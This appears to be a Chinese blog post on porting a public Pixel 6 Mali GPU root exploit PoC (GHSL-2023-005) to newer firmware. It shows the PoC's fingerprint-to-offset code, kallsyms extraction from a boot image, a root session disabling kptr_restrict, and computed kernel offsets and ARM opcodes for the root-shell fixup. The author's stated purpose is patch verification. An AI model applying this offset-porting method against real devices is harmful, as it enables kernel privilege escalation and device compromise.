背景

最近有在看之前网上公布的关于 Pixel 系列手机关于 Arm Mali GPU 驱动的提权漏洞,想确认下新版本的固件是否已经修复该漏洞。本文并不是分析其实现原理和提供挖掘漏洞的思路,而是利用现有的 PoC 代码适配新版本的固件并尝试验证漏洞是否还存在。

GHSL-2023-005

这个是比较早的在 Pixle 6 上有验证过可提权的 PoC。原理方面见 Rooting with root cause: finding a variant of a Project Zero bug

函数 select_offset 做了部分的固件版本匹配适配。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#define AVC_DENY_2301 0x8ba710

#define SEL_READ_ENFORCE_2301 0x8cdfd4

...

void select_offset() {
char fingerprint[256];
int len = __system_property_get("ro.build.fingerprint", fingerprint);
LOG("fingerprint: %s\n", fingerprint);
if (!strcmp(fingerprint, "google/oriole/oriole:13/TP1A.221105.002/9080065:user/release-keys")) {
avc_deny = AVC_DENY_2211;
sel_read_enforce = SEL_READ_ENFORCE_2211;
fixup_root_shell(INIT_CRED_2211, COMMIT_CREDS_2211, SEL_READ_ENFORCE_2211, ADD_INIT_2211, ADD_COMMIT_2211, &(root_code[0]));
return;
}
if (!strcmp(fingerprint, "google/oriole/oriole:13/TQ1A.221205.011/9244662:user/release-keys")) {
avc_deny = AVC_DENY_2212;
sel_read_enforce = SEL_READ_ENFORCE_2212;
fixup_root_shell(INIT_CRED_2212, COMMIT_CREDS_2212, SEL_READ_ENFORCE_2212, ADD_INIT_2212, ADD_COMMIT_2212, &(root_code[0]));
return;
}
if (!strcmp(fingerprint, "google/oriole/oriole:13/TQ1A.230105.002/9325679:user/release-keys")) {
avc_deny = AVC_DENY_2301;
sel_read_enforce = SEL_READ_ENFORCE_2301;
fixup_root_shell(INIT_CRED_2301, COMMIT_CREDS_2301, SEL_READ_ENFORCE_2301, ADD_INIT_2301, ADD_COMMIT_2301, &(root_code[0]));
return;
}

err(1, "unable to match build id\n");
}

kallsyms

那么问题来了,关于如 AVC_DENY_2301 的值是如何来的。

需要先了解下 kallsyms

kallsyms.c: in-kernel printing of symbolic oopses and stack traces.

Linux 内核中,kallsyms 是一个符号表,它包含了内核中所有的符号信息,包括函数、变量、常量等等。

如下的部分内容可从 kallsyms 导出,其对应关系如下

AVC_DENY_X avc_denied
SEL_READ_ENFORCE_X sel_read_enforce
INIT_CRED_X init_cred
COMMIT_CREDS_X commit_creds

获取 kallsyms 符号表有两种方式

  • 通过 cat 命令获取,但是其首先需要有 root 权限,而我们要做的就是先提权获取 root 权限。
1
2
3
4
5
6
7
8
9
10
11
oriole:/ $ cat /proc/kallsyms                                                  
cat: /proc/kallsyms: Permission denied
1|oriole:/ $ su
oriole:/ # cat /proc/kallsyms
0000000000000000 t acpm_ipc_debugfs_init [gs_acpm]
0000000000000000 t channel_init [gs_acpm]
...
oriole:/ # echo 0 > /proc/sys/kernel/kptr_restrict
oriole:/ # cat /proc/kallsyms
ffffffd7693f0b28 r exynos5433_bank_type_alive [pinctrl_samsung_core]
ffffffd7693f0b34 r exynos5433_bank_type_off [pinctrl_samsung_core]
  • 通过解析官方 boot 镜像提取 kernel 进行分析

首先去官网下载对应自己 Pixel 机型的镜像文件。比如我手上有 Piexl 6,我下载了 image-oriole-tq2a.230505.002 版本,后续有验证该版本已经无法通过上述漏洞进行提权了。

从镜像固件里面提取 boot.img,然后解包提取 kernel

1
2
3
4
5
6
7
8
9
$ ~/AOSP/14.0.0_r29/out/host/linux-x86/bin/unpack_bootimg --boot_img boot.img

$ ls -l out/
total 24376
-rw-rw-r-- 1 shumxin shumxin 24959956 May 12 14:58 kernel
-rw-rw-r-- 1 shumxin shumxin 0 May 12 14:58 ramdisk

$ file out/kernel
kernel: LZ4 compressed data (v0.1-v0.9)

通过 file 查看提取的 kernel 还不是一个 elf。暂时无法直接获取 kallsyms 符号表。

这里需要用到 vmlinux-to-elf进行提取。

1
2
$ $HOME/.venv/bin/vmlinux-to-elf out/kernel  kernel-vm
$ $HOME/.venv/bin/kallsyms-finder kernel-vm > kallsyms.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[+] Version string: Linux version 5.10.149-android13-4-00003-gebdbc9fbe2e2-ab9664856 (build-user@build-host) (Android (8508608, based on r450784e) clang version 14.0.7 (https://android.googlesource.com/toolchain/llvm-project 4c603efb0cca074e9238af8b4106c30add4418f6), LLD 14.0.7) #1 SMP PREEMPT Mon Feb 27 10:44:09 UTC 2023
[+] Guessed architecture: aarch64 successfully in 2.87 seconds
[+] Found kallsyms_token_table at file offset 0x022409a0
[+] Found kallsyms_token_index at file offset 0x02240d40
[+] Found kallsyms_markers at file offset 0x022400e8
[+] Found kallsyms_names at file offset 0x02048828
[+] Found kallsyms_num_syms at file offset 0x02048820
[i] Negative offsets overall: 0 %
[i] Null addresses overall: 0 %
[+] Found kallsyms_offsets at file offset 0x01fbd780
Symbol types => ['B', 'D', 'R', 'T', 'V', 'W', 'b', 'd', 'r', 't']

ffffffc008000000 T _text
...
ffffffc0088bd17c t avc_denied
ffffffc0088d0a64 t sel_read_enforce
ffffffc00aff1380 D init_cred
ffffffc00817a618 T commit_creds

其中 _textkernel 的起始虚拟地址。对应的换算关系如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#define AVC_DENY_2301 0x8ba710            // ffffffc0108ba710 - ffffffc010000000

#define SEL_READ_ENFORCE_2301 0x8cdfd4 // ffffffc0108cdfd4

#define INIT_CRED_2301 0x2fd1418 // ffffffc012fd1418

#define COMMIT_CREDS_2301 0x177ee4 // ffffffc010177ee4

#define ADD_INIT_2301 0x91106000 // add x0, x0, #0x418

#define ADD_COMMIT_2301 0x913b9108 // add x8, x8, #0xee4

// TQ2A.230505.002

#define AVC_DENY_2305 0x8bd17c // ffffffc0088bd17c - ffffffc008000000

#define SEL_READ_ENFORCE_2305 0x8d0a64 // ffffffc0088d0a64 - ffffffc008000000

#define INIT_CRED_2305 0x2ff1380 // ffffffc00aff1380 - ffffffc008000000

#define COMMIT_CREDS_2305 0x17a618 // ffffffc00817a618 - ffffffc008000000

// 其中 #0x380 取 INIT_CRED_2305 后三个
#define ADD_INIT_2305 0x910e0000 // add x0, x0, #0x380

// 其中 #0x618 取 COMMIT_CREDS 后三位
#define ADD_COMMIT_2305 0x91186108 // add x8, x8, #0x618

关于 arm 指令集操作码可通过 Online HEX to ARM Converter 进行转化获取 16 进制数据。

参考